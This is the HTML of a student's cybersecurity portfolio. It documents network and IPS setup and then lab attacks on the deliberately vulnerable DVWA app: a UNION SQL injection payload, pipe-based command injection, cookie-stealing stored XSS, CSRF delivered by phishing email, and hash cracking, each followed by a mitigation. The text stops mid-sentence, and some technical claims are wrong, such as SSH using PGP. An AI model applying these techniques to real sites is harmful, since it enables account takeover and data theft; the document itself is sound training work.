<p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a href="img/portfolio/Command%20injection.png"><img class="img-fluid d-block mx-auto" src="img/portfolio/Command%20injection.png" alt=""></a> <p>The way this function works is it takes the ip and inserts it directly in a shell. It would probably looks like something like this "ping 'INSERTED_IP'".</p> <p>Now this little symbol "|" is called a pipe and it can be used to execute multiple commands in one line. So I used the "|" to execute my own command after the ping command just like shown above.</p> <p>I typed in the ip because it still needs to execute the ping command and after that I did a "ipconfig" so the command would look like this when executed in the shell: "ping 185.230.127.234 | ipconfig" This gave us the ip information of the machine the webpage is running on.</p> <a href="../../img/portfolio/red/CmdCurrentUser.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdCurrentUser.png" alt=""></a> <p>I can also get the current user logged in user from the machine using "net user". But with "net user" you can do much more even change the password of the current user or create a completely new user just for me.</p> <a href="../../img/portfolio/red/CmdWifiPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdWifiPass.png" alt=""></a> <p>What is maybe even better I can get the wifi password of the connected pc in plain text. Now I can connect to the same network because I know the password.</p> <a href="../../img/portfolio/red/CmdEnterpriceWifi.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CmdEnterpriceWifi.png" alt=""></a> <p>This trick doesn't work with more advanced wifi security though. Here you see the eduroam network from school which is protected with 802.1x control. This doesn't mean you can't get the password at all it just makes it a whole lot harder.</p> <a href="../../img/portfolio/red/CIDIR.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CIDIR.png" alt=""></a> <p>I was also able to run the "dir" command. This tells me a lot about the local machine and how the web server is installed.</p> <a href="../../img/portfolio/red/CISystemInfo.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CISystemInfo.png" alt=""></a> <P>With the "systeminfo" command I'm able to get a lot of information about the physical machine which might be useful to me later. It greatly increases my attack surface.</P> <p>This can be prevented by sanitizing the input and not just inserting it straight into the shell. Make sure it goes to a parameterised function first, check the input and then insert it into a shell for example.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Command injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal10" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site scripting</p> <p>I will now show you how you could apply XSS to a website.</p> <a href="../../img/portfolio/red/XSSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlert.png" alt=""></a> <p>First I have to check if the website is vulnerable. The easiest way to check this is just to try a simple "Alert" script just like this.</p> <a href="../../img/portfolio/red/XSSAlertResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSAlertResult.png" alt=""></a> <p>As you can see the script works so that means that the website is vulnerable to XSS. Now I can try something that has some more impact and could actually be useful for me.</p> <a href="../../img/portfolio/red/MaxCharLimit.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/MaxCharLimit.png" alt=""></a> <p>This form doesn't allow more than 50 characters, so writing bigger scripts might make this difficult. Luckily they only validate this in the frontend so I can just inspect this page and change the maximum characters in the form. So now I can write some bigger scripts that give me more information.</p> <a href="../../img/portfolio/red/XSSGetCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>Like getting the cookie of the user so I can hijack their session.</p> <a href="../../img/portfolio/red/XSSGetCookieResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSGetCookieResult.png" alt=""></a> <p>So now I got the cookie it is my own though, but these scripts get stored inside the comments and the comments are persistent. Therefore I could also write a script that sends the cookie to me instead of displaying it. This way I can make it almost invisible for everyone to see and everyone who loads this page their cookie gets send to me.</p> <a href="../../img/portfolio/red/XSSOldCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSOldCookie.png" alt=""></a> <p>Now I can try to use the cookie that I stole in the previous picture to try and login. As you can see my cookie is now different and I'm not logged in.</p> <a href="../../img/portfolio/red/XSSNewCookie.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSNewCookie.png" alt=""></a> <p>Now I placed the cookie I stole in my own cookie to hopefully make the website think I'm the person who is logged in that I stole this cookie from.</p> <a href="../../img/portfolio/red/XSSSessionHijack.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSSessionHijack.png" alt=""></a> <p>And now when I try to load the index page the website thinks I'm logged in as the person the cookie belongs to and I hijacked their session. I can now do everything on their account, comment in their name and change their data or steal their data.</p> <p>And if this person is by any chance an admin I might be able to do some more extreme things as well. Like creating or deleting users or their comments.</p> <a href="../../img/portfolio/red/XSSIframe.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframe.png" alt=""></a> <P>Sometimes the programmers try to prevent XSS by filtering out the script tags. But they forget the filter out all the other HTML tags. So I can load my own website in an "Iframe".</P> <a href="../../img/portfolio/red/XSSIframeResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/XSSIframeResult.png" alt=""></a> <p>This might only sound as good free marketing but you can also do other things. Like redirecting everyone that visits this page to my own website or inject scripts in other html tags, so I can still run my scripts even though they banned the script tags.</p> <p>These type of attacks can be prevented by sanitizing the input much like SQL injection. Make sure that all the text that users can post to the website's frontend doesn't get converted to straight HTML. In this way they can't exploit other HTML tags as well.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site scripting</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal11" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Cross-site request forgery</p> <p>Now I'm going to exploit CSRF on a website. The principles are quite simple, if you see the query that is called in the search bar, then the website might be vulnerable.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>As you can see in the search bar the website creates a query. If I would send this query without the form it would work as well but only for me. So I need to get this link to an user fill in my own password and make him click it.</p> <a href="../../img/portfolio/red/CSRFHTMLFile.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFHTMLFile.png" alt=""></a> <p>So I created a little phishing email using HTML. By using HTML I can make the email as legit as possible. By hiding the actual link in a text or even adding the DVWA logo. If I would know how they normally would send emails to their users, I could fully recreate it and you won't see the difference.</p> <a href="../../img/portfolio/red/CSRFUserEmail.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFUserEmail.png" alt=""></a> <p>The user would get an email like this and if you add urgency to the message, the user might not even think about any red flags because they feel the need to act as fast as possible.</p> <a href="../../img/portfolio/red/CSRFLinkResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLinkResult.png" alt=""></a> <p>Now the user got send to the same page to change your password, but I already changed it when it loaded the page.</p> <a href="../../img/portfolio/red/CSRFLogin.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CSRFLogin.png" alt=""></a> <p>Now if the user tries to login he can't because the password is changed, and I can log into his account and exploit it as much as I want.</p> <p>These type of attacks can be prevented by using things like a CAPTCHA or asking the user to fill in their old password. Even though this cannot fully prevent this type of attack it will make it a lot harder to succeed</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Cross-site request forgery</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal12" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Path traversal</p> <ul class="list-inline"> <li>Date: November 2019</li> <li>Client: Fontys</li> <li>Category: Path traversal</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal13" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Password cracking</p> <p>Now I'm going to show to basics of password cracking.</p> <p> There are a few main ways to crack passwords <ul> <li>Brute forcing</li> <li>Dictionary attacks</li> <li>Rainbow tables</li> </ul> </p> <p>Brute forcing is the most basic way to crack a password, it just tries every possible combination of letters. It has a few pros and some big cons.</p> <p>Brute forcing is rarely used these days just for the simple reason that cracking a modern encrypted password would take more then a lifetime. It also costs a lot of computing power because it generates the hashes on the fly and there are a lot of hashes to generate and try. The pro is though that it doesn't use any storage space because it generates everything instead of getting them for a wordlist. Brute forcing could be an option when you know that the password that you're cracking isn't a existing word but rather a string of random numbers and letters. Even though brute forcing might be the only option in that case, you're probably better off finding another way to get the password.</p> <p>Dictionary attacks are more sophisticated, it's way more efficient and faster but there a big con.</p> <p>Dictionary attacks use a predefined list of words and generates hashes for them and then compare them to the hash you want to crack to see if any of them match. The pro is that this is way faster. The downside on the other hand is that if the password you want to crack isn't in the word list you have no chance of success. The dictionary attack could be extended by generating multiple versions of every word some with captitals some with random numbers after them etc. A dictionary attack could also be made very personal and tailored to the specifications of your target. For example adding the targets place of work or pet names to the list. Also if you want more chance of success you'll need a bigger word list and those can grow pretty fast costing thus a lot of storage space.</p> <p>Rainbow tables are in essence a lot like dictionary attacks, but actually better.</p> <p>Rainbow tables contain like a dictionary attack a wordlist. The difference is that the wordlist is already hashed and could contain all possible solutions making a look like a brute force. You could for instance create a rainbow table having every possible solution making it a bruto force but more efficient costing less time, or generate hashes for your dictionary attack wordlist which might be reusable costing you less time in the future. Rainbow tables do come with some downsides like it costs a lot of harddisk space, less then a dictionary attack of the same size because it uses lossless compression, but if you want a lot of possibilities it will still be a big file. The hash type like MD5 or SHA256 is static thus making it less versatile/useful when you don't know the encryption type. Same goes for the salt, a salt could be added to the list but it will make the file even bigger. A problem that you won't have with a dictionary attack or brute force because the hashes get generated in the fly.</p> <p>A good way to make encrypted passwords harder to crack is by using a salt or a pepper. A salt is random data added to the password before it's hashed, and because it's different for every new password it gets stored alongside the password. This has a pro and a con. The pro is that the salt is different for every password meaning that if one password gets compromised the others are still save. The downside is though that if someone breaches the database he will know the salts for each password instantly. Now a pepper uses the same method to encrypt a password, it is random data and adds it to the password before it's hashed. But a pepper is static and is stored separately from the password hashes. Now this method has a pro and con as well. The pro is that if the database is breached the hacker won't know the pepper making cracking the passwords a lot harder. The con is that if he finds the pepper all the passwords are compromised, but to do that he might need to decompile the code and find the pepper, which is a lot harder than breaching the database most of the time.</p> <a href="../../img/portfolio/red/CrackHashGenerate.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashGenerate.png" alt=""></a> <p>I created a small demonstration on hacking a simple MD5 hash. So I first of all created a hash for the string "password".</p> <a href="../../img/portfolio/red/CrackHashId.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CrackHashId.png" alt=""></a> <p>If I would have stole this hash from some database I might not know the hash type, which is important for me to know if I want to save time or use a rainbow table. So I ran 